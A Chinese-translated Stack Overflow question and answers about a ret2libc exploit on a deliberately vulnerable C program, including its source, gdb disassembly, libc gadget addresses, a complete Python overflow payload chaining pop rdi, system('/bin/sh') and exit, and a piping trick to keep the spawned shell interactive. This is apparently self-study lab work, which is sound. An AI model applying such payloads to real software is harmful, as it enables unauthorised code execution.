【问题标题】:ret2libc attack doesn't spawn shellret2libc 攻击不会产生 shell
【发布时间】:2020-07-10 10:13:50
【问题描述】:

我执行了 ret2libc。一切正常,但没有生成 shell。源代码是

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  scanf("%s",buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  printf("/bin/sh");
  return 1;
}

gdb 的反汇编是

(gdb) disass main
Dump of assembler code for function main:
   0x0000555555555184 <+0>:     push   rbp
   0x0000555555555185 <+1>:     mov    rbp,rsp
   0x0000555555555188 <+4>:     mov    eax,0x0
   0x000055555555518d <+9>:     call   0x555555555155 <get>
   0x0000555555555192 <+14>:    lea    rdi,[rip+0xe6e]        # 0x555555556007
   0x0000555555555199 <+21>:    call   0x555555555030 <puts@plt>
   0x000055555555519e <+26>:    lea    rdi,[rip+0xe67]        # 0x55555555600c
   0x00005555555551a5 <+33>:    mov    eax,0x0
   0x00005555555551aa <+38>:    call   0x555555555040 <printf@plt>
   0x00005555555551af <+43>:    mov    eax,0x1                                                                                                                       
   0x00005555555551b4 <+48>:    pop    rbp                                                                                                                           
   0x00005555555551b5 <+49>:    ret                                                                                                                                  
End of assembler dump.                                                                                                                                               
(gdb) disass get                                                                                                                                                     
Dump of assembler code for function get:                                                                                                                             
   0x0000555555555155 <+0>:     push   rbp                                                                                                                           
   0x0000555555555156 <+1>:     mov    rbp,rsp                                                                                                                       
   0x0000555555555159 <+4>:     sub    rsp,0x10                                                                                                                      
   0x000055555555515d <+8>:     lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555161 <+12>:    mov    rsi,rax                                                                                                                       
   0x0000555555555164 <+15>:    lea    rdi,[rip+0xe99]        # 0x555555556004                                                                                       
   0x000055555555516b <+22>:    mov    eax,0x0                                                                                                                       
   0x0000555555555170 <+27>:    call   0x555555555050 <__isoc99_scanf@plt>                                                                                           
   0x0000555555555175 <+32>:    lea    rax,[rbp-0xa]                                                                                                                 
   0x0000555555555179 <+36>:    mov    rdi,rax                                                                                                                       
   0x000055555555517c <+39>:    call   0x555555555030 <puts@plt>                                                                                                     
   0x0000555555555181 <+44>:    nop                                                                                                                                  
   0x0000555555555182 <+45>:    leave                                                                                                                                
   0x0000555555555183 <+46>:    ret                                                                                                                                  
End of assembler dump.                                                 

我使用radare2 找到了小工具pop rdi;ret,它位于0x7ffff7e1d7de。 /bin/sh 位于 0x7ffff7f7f1ac,system() 位于 0x7ffff7e3f8a0 和 exit() 位于 0x7ffff7e34fe0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00" + "\xe0\x4f\xe3\xf7\xff\x7f\x00\x00")')
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2664]
[Inferior 1 (process 2658) exited with code 02]

当我用ls命令的地址替换/bin/sh 的地址时,它列出了目录的内容。但是/bin/sh 并没有生成外壳。我使用的是 64 位机器。该程序是使用 gcc -ggdb -Wall -fno-stack-protector -o a exploit.c 编译的,并且手动禁用了 aslr。为什么它不生成 shell?

【问题讨论】:

  • 提示:shell 从哪里读取输入?
  • 这里没有生成shell。那么它如何读取输入?
  • 你怎么知道它没有生成?如果它可以产生ls,它应该能够产生sh,对吧?
  • 在分离vfork后立即查看我的gdb输出,执行退出命令
  • vfork 命令也是如此,这意味着您正在调试的进程开始了一个新的孩子,我想?当您尝试运行 ls 时,调试器会说什么?

标签: c error-handling gdb buffer-overflow libc


【解决方案1】:

你的程序确实生成了一个shell。这很容易看出,因为当您将其更改为 spawn ls 时,它会生成 ls。

您的程序的标准输入来自 Python 脚本。您的程序读取脚本的所有输出,然后启动一个 shell。 shell 使用与您的程序相同的标准输入。 shell 尝试读取命令,但没有更多输入,所以它就退出了。

【讨论】:

  • 这是正确的答案。我想既然 system() 被调用,它会从键盘输入。顺便谢谢。
  • 你能提供一个解决方案来生成一个shell而不退出吗?
  • 终于做到了。我将 python 脚本的输出通过管道传输到一个文件中并使用了(cat file.txt ; cat) | ./executable,它最终生成了一个 shell
猜你喜欢
  • 1970-01-01
  • 2020-06-28
  • 2021-06-18
  • 2011-02-24
  • 2010-10-25
  • 2020-10-03
  • 2021-09-07
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多